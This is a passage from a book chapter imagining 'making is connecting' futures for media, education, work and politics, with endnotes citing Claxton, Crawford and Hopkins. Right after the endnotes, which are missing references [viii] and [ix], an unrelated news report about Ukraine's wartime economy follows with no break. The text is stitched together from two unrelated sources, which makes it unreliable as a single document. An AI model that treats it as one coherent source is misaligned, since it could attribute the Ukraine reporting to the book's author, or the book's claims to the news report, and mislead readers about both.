The implications for electronic media are perhaps most obvious, and have been discussed in different chapters of this book. In the future imagined here, people have easy to use, intuitive electronic devices which enable the simple capture, editing and preparation of creative material, such as text, images and video. Because such tasks never seem that simple to everyone – and because some people want to work to high standards – accessible, local hands-on training is readily available to people of all ages, pitched at the right level, and never too patronising or laborious. Participants simply learn by making the thing that they want to make, getting help where necessary. Because such sessions are not to everyone’s taste, there are also lots of inspiring free booklets to get people started, working and experimenting at their own pace, and peer-support networks for the exchange of friendly mutual help and support.
The everyday creative material which people make is typically shared on user-friendly platforms, funded – but in no way controlled – by a consortium of governments who are eager to encourage creativity in their populations. Access to this material is not restricted by country, or indeed by any other variable (apart from basic restrictions on inflammatory bigoted material, and content where people or animals have been harmed in its preparation). Alternatively, users can choose other platforms, including ones where users are able to create their own distinctive personal space online, unrestricted by templates or fixed requirements (although less ambitious users are able to choose from, and adapt, a range of readymade patterns) – with no advertising – for a reasonable monthly fee. There are also free services supported by advertising.
Although much personal making and sharing activity is not motivated by money, in this future, there are some mechanisms so that producers of entertainment and information which becomes popular can get paid, with the money coming from grants, sponsors, and in some cases from unobtrusive advertising. (At present, funding solutions which are not based on advertising may seem unlikely. But consider that the TV Licence in the UK raises around £3.45 billion each year for the preparation and distribution of a particular haul of media content [ii]; a similar annual fee used to reward producers of online material could be a powerful incentive for those who wanted to produce good quality material for a wider audience).
In this future, incidentally, conventional professionally-produced media is not dead. People still enjoy high-quality stories produced to excellent standards, so this is not a world where things like television and cinema have perished – but in this future people spend less time with such mass-produced media, because they find greater amounts of emotional engagement and inspiration from the homemade media made by their friends and the other amateurs they follow, and enjoy the feelings and discoveries within the sense of absorbed reflection as they make their own stuff. Professional news reporting has also survived, incidentally, as this is a particular kind of material which cannot be replaced by the kind of random ramshackle homemade content which we otherwise love.
People have not merely swapped some of their former traditional screen time for a more diverse mix of screen-based activity, however. Overall screen time has gone down, because people are using the internet to make real-world connections, and are having their interests sparked in new things – stuff you can actually do, rather than just other things to watch or listen to.
In short, in this future the Web has enabled people to cast off the primarily slumped, passive model of twentieth-century ‘leisure time’, and given them the opportunity to embrace a more social and connected life of creative exchange, which in turn leads to a greater awareness of other people, and their needs. Over time, people have come to feel more connected to the local and global environment in which they live, and have started to perceive their own role as one in which they can make a difference, rather than stand by as a detached observer.
‘Making is connecting’ future scenario – education
In this future, it has been realised that memorising stuff for tests is the antithesis of real learning, which takes place through meaningful activity. This shift turned out to be somewhat easier than expected, once government policies had been changed, since most teachers had tended to doubt the value of shovelling information in pursuit of test scores [iii]. In the new system, students work on learning projects, in which their teachers encourage them to ask questions and to seek out understanding for themselves. To present their learning to others, they produce exhibitions, physical performances, online presentations, and games. They are inspired by their teachers, who are no longer just the holders of the ‘answer book’ but are visibly also learning new knowledge and skills in their own lives.
Students are encouraged to ask difficult questions and challenge conventional assumptions, and to interpret the ‘syllabus’ widely and imaginatively. They are not required to regurgitate ‘correct’ answers which have been previously dispensed by the teacher, but are expected to research and think about a subject and then produce their own responses to it, sometimes individually and sometimes collaboratively. Some of the knowledge they develop is abstract and theoretical, but is usually connected to real-world questions and problems. In particular, a substantial part of the school experience is embedded in the surrounding environment, and genuine local issues.
This future education system recognises the characteristics of powerful learners (as set out in the present day by educationalist Guy Claxton [iv]): they are curious about the world, and wish to understand the how and why of things; they have courage, which means they are willing to take risks, and to try things out to see what happens; and they recognise that mistakes are not shameful disasters but are just events that can be learned from. They like to explore, investigate and experiment. Tinkering with things is a way of learning. They have imagination, which is grounded by reason, thoughtfulness and the ability to plan. They have the virtue of sociability, which means they know how to make use of the potent social space of learning. Finally, they are reflective, and are aware of their own strengths and weaknesses in the learning process.
This approach has been adopted, in this future, as the natural follow-on from other ‘making is connecting’ principles. As this is a society which values and makes time for everyday creativity – and one which casually expects that culture will come from ‘ordinary people’ rather than distant organisations – it naturally fosters these approaches to learning, as they stem from the same orientation to knowledge and the experience of hands-on creative action.
Conversely, in this future, people look back with some horror at the way in which a strangely passive, ‘sit back and be told’ population managed to drift into the kind of situation where their acceptance of the political rhetoric demanding ‘standards’ in schools led to relentless tests – tests of ‘correct facts,’ rather than assessments of real insight or intelligence – which teachers had to prepare their students for, which in turn led to the collapse of actual ‘standards’ in terms of genuine learning and creative capacity. In this story alone it is noted that ‘making is connecting’ is not just a warm, fuzzy, pleasant notion, but a more fundamental concept with significant social implications.
‘Making is connecting’ future scenario – work
In this future, the change in education corresponds with, and enables, something of a shift in the nature of work. It has been recognised that the role of the interchangeable ‘knowledge worker’ is unrewarding, leading to personal unhappiness as well as business inefficiency. Being unable to see any direct fruits of their labour, employees become bored and lethargic, with small attempts to disrupt the system their only form of pleasure. Therefore, in this future, work is organised as far as possible so that individuals can feel pride in performing whole tasks, of the sort that can be held in the mind all at once [v], rather than the diffuse processing of bits of a task which can never seem to be completed and therefore admired.
The future-people have not entirely worked out how to make everyone’s lives and jobs 100 per cent creative. The implication in Charles Leadbeater’s We Think book that every working person should spend their time producing creative ideas, and collaborating to develop them with others online, turned out to be unrealistic. This was partly because society does not require tens of thousands of ‘new ideas,’ but rather needs a few good ones, implemented thoughtfully and well. And it was partly because many jobs are about producing, fixing, and implementing versions of existing things, and not all of them can be done in cloudy networks.
Nevertheless, in this future the education system no longer produces mere drones, and their new-found appetite for self-expression and hands-on creativity does not stop when they leave school or college. These workers expect – and are expected – to be able to make their mark on the things that they work with, to make their presence felt, and to shape their environment so that it is enriching, sustainable and effective. Having been encouraged to be inquisitive and courageous learners in school, and having managers who are similarly curious and imaginative – and who welcome challenging questions – these employees typically seek creative solutions to their everyday tasks, and their longer-term goals, and are supported to express their own human voice in what they do.
This shift has meant that employers and managers have to trust the individuals in their organisations more, and subject them to auditing less. Maintaining a lighter, supportive oversight of work has led not to more shirking or laziness, as some had feared, but to a more ethical engagement with work. In this future, people are more likely to want to do good work for its own sake, as they are motivated to feel pride in what they have done themselves, rather than doing it to satisfy a management demand. (Inevitably, this is not always the case, but the idea of spoiling the process for everyone with endless bureaucracy and auditing, in order to avoid occasional instances of poor practice, has been rejected).
As this model has spread the responsibility for doing things well, with creative input and leadership being distributed more widely, it has also brought an end to the ‘megasalaries’ previously enjoyed by business and organisational leaders. It has been recognised that huge differences in pay contributed to everyday unhappiness, as well as visible inequalities, and greater social problems [vi], and so – although greater levels of experience, insight and responsibility are still rewarded – there has been a move towards more equal pay and conditions. This is widely accepted as reasonable, because it reflects the way in which everyone is expected to make a thoughtful and creative difference in their own work.
‘Making is connecting’ future scenario – politics and the environment
These changes in creative everyday activity, and in education and work, are political shifts in themselves, of course, and they connect with other changes. In the future imagined here, people typically assume that a hands-on engagement with the processes that affect their lives is desirable, and therefore feel more inclined to connect with political processes, of both formal and informal kinds.
Having blossomed as creators of their own cultural worlds, and as participants in a culture of originality and exchange, these people want to have a meaningful and imaginative input into local and national policies – not (only) through polls and elections but through participatory events where they have genuine opportunities to influence strategies and practice. These are not talking-shops where the most articulate individuals get to pontificate, but hands-on experiences where participants build models, showing their ideas in metaphors and collaborating to build these into shared visions. This means that everyone in the room gets the opportunity to contribute, can take time to reflect and develop their ideas, and works with others to address needs and concerns that they may not have thought of. (That’s not a random idea – it’s a real process, as described in my previous book Creative Explorations [vii]). There are also stimulating opportunities to build creative ideas together online.
In this future, political communication has become much more two-way. Rather than offering traditional media and internet content which explains ‘This is what we’re doing’, the political actors and representatives of the future have been compelled to create a range of meaningful forums for the exchange of ideas, where the politicians and different stakeholders have to properly respond to each other – and not just through an illusion of ‘interactivity’ – because voters of the future are dissatisfied with candidates offering anything less.
Aside from conventional political structures, people are also much more enthusiastic about taking matters into their own hands – especially because they feel encouraged and supported to do so. They have in part been inspired by the Transition Towns movement (as mentioned in chapter 1), which offered a model for this kind of engagement – people getting together to do something, using creativity and imagination, in response to a shared concern. This did not necessarily mean protest – certainly not only protest – but rather working out a positive, resilient and sustainable solution for the future. As Transition movement founder Rob Hopkins put it in 2009:
This is really about looking the challenges of peak oil and climate change square in the face, and responding with a creativity and an adaptability and an imagination that we really need. It’s something which has spread incredibly fast, and it is something which has several characteristics. It’s viral. It seems to spread under the radar very very quickly. It’s open source. It’s something which everybody who’s involved with it develops and passes on as they work with it. It’s self-organizing. There is no great central organization that pushes this; people just pick up an idea and they run with it, and they implement it where they are. It’s solutions-focused. It’s very much looking at what people can do where they are, to respond to this. It’s sensitive to place, and to scale. [viii]
Having adopted this kind of approach to creative political activity, people take up the tools developed and shared by others, or originate their own, build on them and then pass them on again. They share exciting, promising, fruitful ideas of what can be done, and are less interested in prophecies of doom (which can be essential warnings, but don’t get us anywhere in themselves). They put on events, and take a playful making-things orientation to challenges which otherwise could seem forbiddingly serious and difficult. And through this they have started to make an actual difference.
This is not a complete alternative to the big-scale politics, of course. As Hopkins has said in relation to the Transition movement:
I think it’s really important to make the point that actually this isn’t something which is going to do everything on its own. We need international legislation from [the United Nations Climate Change Conference] and so on. We need national responses. We need local government responses. But all of those things are going to be much easier if we have communities that are vibrant and coming up with ideas and leading from the front, making unelectable policies electable, over the next 5 to 10 years. [ix]
In this future, then, people have accepted that things had to change. When they had been living in the tail end of the earlier period, of plentiful oil and accompanying economic growth, they had been lucky. But they also knew that people had been able to craft interesting and rewarding lives for themselves before that time, and could do so again after it. And they knew that the period of plentiful oil and economic growth had also been the time in which an unanticipated dullness passed, like a shadow, over their lives. Being able to buy everything from mega-supermarkets, to consume in front of massive televisions, had been, in a sense, too comforting and easy. Now, with a revitalised sense of their own creative powers, and helpfully connected to ideas and people via the flourishing internet, people feel more like vibrant agents, rather than observers, in the world. They correspondingly feel more concerned about their local and global environments, as they are more emphatically living there. And, therefore, people have started to sort things out.
The near-future scenarios I have painted above are all part of the shift that I have described as being from the ‘sit back and be told’ culture which became entrenched in the twentieth century, towards the ‘making and doing’ culture which could flourish in the twenty first. Although I think there is an appetite for such a change, we could hardly say that this would be an easy shift. Many people have become comfortable with the undemanding role that contemporary culture expects us to enjoy – it appears pleasant enough, allows us to consume wall-to-wall entertainments, and nothing very bad seems to happen. But at the same time, we are not left feeling very whole, or fulfilled, or creative. And bad things are happening – see all the evidence of social isolation, fragmented communities, environmental pollution and climate change in particular – but we choose not to really notice them.
It doesn’t seem right to suggest that people just don’t know what’s good for them: but the empirical research on happiness and well-being does show a clear mismatch between the things which we say help us to feel positive, alive, and connected, and the things which we actually spend most time on. It sounds illogical, but we all do it. And because modern life is often tiring and complicated, we are often likely to welcome the blessed relief of the ‘sit back and be told’ elements which don’t require us to do very much. The ‘making and doing’ culture does require a bit more effort – but it comes with rich rewards.
Making things shows us that we are powerful, creative agents – people who can really do things, things that other people can see, learn from, and enjoy. Making things is about transforming materials into something new, but it is also about transforming one’s own sense of self. Creativity is a gift, not in the sense of it being a talent, but in the sense that it is a way of sharing meaningful things, ideas, or wisdom, which form bridges between people and communities. Through creative activity, where making is connecting, we can increase our pleasure in everyday life, unlock innovative capacity, and build resilience in our communities, so that we can face future challenges with confidence and originality.
[i] In other words, adding plants to a garden is valuable – you don’t have to be doing bio-engineering on individual flowers simultaneously with 1,000 others. (That is to say: Wikipedia is a good model of collaboration, but so is YouTube).
[ii] The BBC’s licence fee income was £3.447 billion in the year to April 2010, and £3.494 billion in the year to April 2009. BBC, Full financial and governance statements 2009/10, http://downloads.bbc.co.uk/annualreport/pdf/bbc_ar_online_2009_10.pdf
[iii] Remarkably, for instance, Guy Claxton reports in his book What’s the Point of School? (Oxford: Oneworld, 2008) that of all the headteachers whom he has asked in an informal poll at conferences, almost none of them believe that the current system is preparing young people well for the future (p. 22–23).
[iv] Guy Claxton, What’s the Point of School? (Oxford: Oneworld, 2008), p. 123–126.
[v] This is a paraphrase of an argument made by Matthew Crawford, The Case for Working With Your Hands: or Why Office Work is Bad for Us and Fixing Things Feels Good (London: Viking, 2010), p. 156.
[vi] See Richard Wilkinson and Kate Pickett, The Spirit Level: Why Equality is Better for Everyone (London: Penguin, 2010).
[vii] David Gauntlett, Creative Explorations: New approaches to identities and audiences (London: Routledge, 2007). The methods indicated here are those of Lego Serious Play.
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Run the economy like a war machine. Since the outbreak of the Russian military offensive on February 24, exports from Ukraine have been controlled, the sale of basic foodstuffs there has been rationed, and production planned. In addition, some prices are capped. “Ukraine is moving to a war economy”declared Denys Chmyhal, the Ukrainian Prime Minister, on March 10.
This transformation occurred from the first hours of the conflict. At the end of February, the Ukrainian State plunged the economy into an artificial coma in order to protect it from the shocks to come. Capital flow controls have been put in place to filter the outflow of foreign currencies. The State now uses it to buy so-called “essential” goods abroad. The payment of customs duties has even been suspended in order to speed up the delivery of certain imported goods. “Three categories of products have been identified as essential: food, medicine and fuel”explains Nataliia Shapoval, director of the institute attached to the Kyiv University School of Economics.
Overnight, this economist abandoned her work on the reform of corporate governance or the health sector. At the head of a team of around fifty analysts, she submits every day, at 1:30 p.m., to the government, a note on the impact of economic sanctions in Russia. Then she counts and quantifies the destruction caused by the Russian army, by crossing the information collected on social networks and the media with testimonies from residents. A website has even been created, on which Ukrainians can list the destruction they have witnessed. These were assessed in mid-March at 500 billion dollars (455 billion euros) by the government.
“If you have been forced to evacuate, find a job where you are! », launched, at the beginning of March, Oleksii Reznikov, the Minister of Defense. The country wants to avoid economic collapse at all costs, even if it means rebuilding factories elsewhere. “Part of the damaged productive apparatus can be rebuilt in the west, where the destruction is less significant, wants to believe Nataliia Shapoval, although this obviously depends on the duration and extent of the conflict. » This is already happening in this area, where the United Nations Development Program (UNDP) is helping farmers displaced by war to cultivate new land, lent by the state.
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